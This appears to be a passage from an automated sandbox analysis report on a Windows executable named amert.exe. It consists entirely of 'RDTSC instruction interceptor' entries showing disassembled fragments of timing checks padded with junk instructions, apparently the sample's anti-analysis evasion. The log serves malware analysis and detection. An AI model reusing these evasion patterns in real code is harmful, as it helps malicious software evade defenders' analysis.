Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8998CE second address: 8998D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8998D2 second address: 8998DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8998DA second address: 8998E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8998E2 second address: 8998E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8998E6 second address: 8998F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8998F2 second address: 899906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D755569E0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 899906 second address: 89990A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8A31CF second address: 8A31F9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F0D755569D6h 0x00000008 jmp 00007F0D755569E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jns 00007F0D755569D6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B0344 second address: 8B0352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F0D75558556h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B3B05 second address: 8B3B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B3B09 second address: 8B3B0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B34B0 second address: 8B34B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B364D second address: 8B3654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B3654 second address: 8B3667 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D755569DFh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B3667 second address: 8B366B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B366B second address: 8B3674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B5B53 second address: 8B5B59 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B5843 second address: 8B5847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8B5847 second address: 8B584D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CCFB1 second address: 8CCFB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CCFB5 second address: 8CCFD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F0D7555856Ah 0x0000000c jns 00007F0D75558556h 0x00000012 jmp 00007F0D7555855Eh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD119 second address: 8CD11F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD268 second address: 8CD26E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD26E second address: 8CD272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD272 second address: 8CD27E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0D75558556h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD27E second address: 8CD289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F0D755569D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD64C second address: 8CD651 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD651 second address: 8CD657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD657 second address: 8CD682 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F0D7555855Ah 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0D75558565h 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD682 second address: 8CD68D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0D755569D6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8CD95E second address: 8CD962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8D13AA second address: 8D13B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E4086 second address: 8E40C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007F0D75558556h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jl 00007F0D75558556h 0x00000016 jp 00007F0D75558556h 0x0000001c push eax 0x0000001d pop eax 0x0000001e popad 0x0000001f pushad 0x00000020 jc 00007F0D75558556h 0x00000026 push edx 0x00000027 pop edx 0x00000028 jmp 00007F0D75558561h 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E40C0 second address: 8E40DD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D755569E8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E3E76 second address: 8E3E9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0D75558569h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E3E9A second address: 8E3E9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E3E9E second address: 8E3EC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F0D75558569h 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E3EC7 second address: 8E3ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E3ECB second address: 8E3ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8E1412 second address: 8E1421 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F0D755569D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F1350 second address: 8F1354 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F1354 second address: 8F135A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F135A second address: 8F137D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D7555855Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jnp 00007F0D75558556h 0x00000011 js 00007F0D75558556h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F137D second address: 8F1387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F0EAC second address: 8F0EC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D75558567h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F0EC8 second address: 8F0ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F0ECE second address: 8F0F00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jne 00007F0D75558558h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 ja 00007F0D7555856Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F0F00 second address: 8F0F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 8F1084 second address: 8F108C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 90B9E5 second address: 90BA0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F0D755569EFh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 90BA0E second address: 90BA18 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D7555855Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 90BB68 second address: 90BB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 90BB6E second address: 90BB74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 90BE47 second address: 90BE4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 90C28F second address: 90C2E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558564h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0D75558566h 0x0000000e jbe 00007F0D7555855Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F0D75558569h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 90C494 second address: 90C498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 910C76 second address: 910C8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D75558563h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 910F96 second address: 91102B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F0D755569E2h 0x00000012 push dword ptr [ebp+122D29ACh] 0x00000018 xor dword ptr [ebp+122D29A6h], edx 0x0000001e call 00007F0D755569D9h 0x00000023 jnc 00007F0D755569E5h 0x00000029 push eax 0x0000002a jng 00007F0D755569E9h 0x00000030 jmp 00007F0D755569E3h 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 jnc 00007F0D755569E2h 0x0000003f mov eax, dword ptr [eax] 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 push edx 0x00000045 pop edx 0x00000046 push eax 0x00000047 pop eax 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 91102B second address: 911040 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnp 00007F0D75558556h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 913E43 second address: 913E53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jng 00007F0D755569D6h 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 913E53 second address: 913E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D7555855Ch 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 je 00007F0D75558556h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 913E73 second address: 913E77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 9139BD second address: 9139C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 9139C8 second address: 9139CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD0021 second address: 4FD0026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD0026 second address: 4FD002C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD002C second address: 4FD0030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD0030 second address: 4FD0054 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx ebx, cx 0x00000010 mov ch, 59h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD0054 second address: 4FD0059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FD0059 second address: 4FD0089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F0D755569E5h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0DA1 second address: 4FB0DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D75558561h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0DB6 second address: 4FB0DDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F0D755569DDh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0DDD second address: 4FB0E6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0D75558567h 0x00000009 sub si, 7DAEh 0x0000000e jmp 00007F0D75558569h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 push esi 0x0000001a pushad 0x0000001b popad 0x0000001c pop edx 0x0000001d call 00007F0D75558564h 0x00000022 pushfd 0x00000023 jmp 00007F0D75558562h 0x00000028 and al, FFFFFF88h 0x0000002b jmp 00007F0D7555855Bh 0x00000030 popfd 0x00000031 pop ecx 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F0D75558562h 0x0000003b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0E6D second address: 4FB0E9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0D755569DCh 0x00000009 xor eax, 06CD4718h 0x0000000f jmp 00007F0D755569DBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0E9A second address: 4FB0E9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0E9E second address: 4FB0EA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0EA4 second address: 4FB0EA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 500000E second address: 50000E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F0D755569E1h 0x00000009 add ecx, 57196D96h 0x0000000f jmp 00007F0D755569E1h 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F0D755569DAh 0x00000022 add eax, 2A93D5B8h 0x00000028 jmp 00007F0D755569DBh 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F0D755569E8h 0x00000034 and si, 9018h 0x00000039 jmp 00007F0D755569DBh 0x0000003e popfd 0x0000003f popad 0x00000040 push eax 0x00000041 jmp 00007F0D755569E9h 0x00000046 xchg eax, ebp 0x00000047 pushad 0x00000048 movzx ecx, di 0x0000004b pushfd 0x0000004c jmp 00007F0D755569E9h 0x00000051 sbb cx, 9316h 0x00000056 jmp 00007F0D755569E1h 0x0000005b popfd 0x0000005c popad 0x0000005d mov ebp, esp 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50000E3 second address: 50000E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50000E7 second address: 50000EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 50000EB second address: 50000F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F9014F second address: 4F90154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F90154 second address: 4F901BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D75558567h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F0D75558566h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov ebx, 75369F14h 0x00000016 pushfd 0x00000017 jmp 00007F0D7555855Dh 0x0000001c jmp 00007F0D7555855Bh 0x00000021 popfd 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F0D75558560h 0x0000002d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F901BD second address: 4F901C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4F901C1 second address: 4F901C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	RDTSC instruction interceptor: First address: 4FB0B78 second address: 4FB0BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D755569E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ch, dl 0x0000000d mov edx, esi 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F0D755569E2h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F0D755569DDh 0x00000021 xor cx, 9536h 0x00000026 jmp 00007F0D755569E1h 0x0000002b popfd 0x0000002c mov cx, 9127h 0x00000030 popad 0x00000031 rdtsc
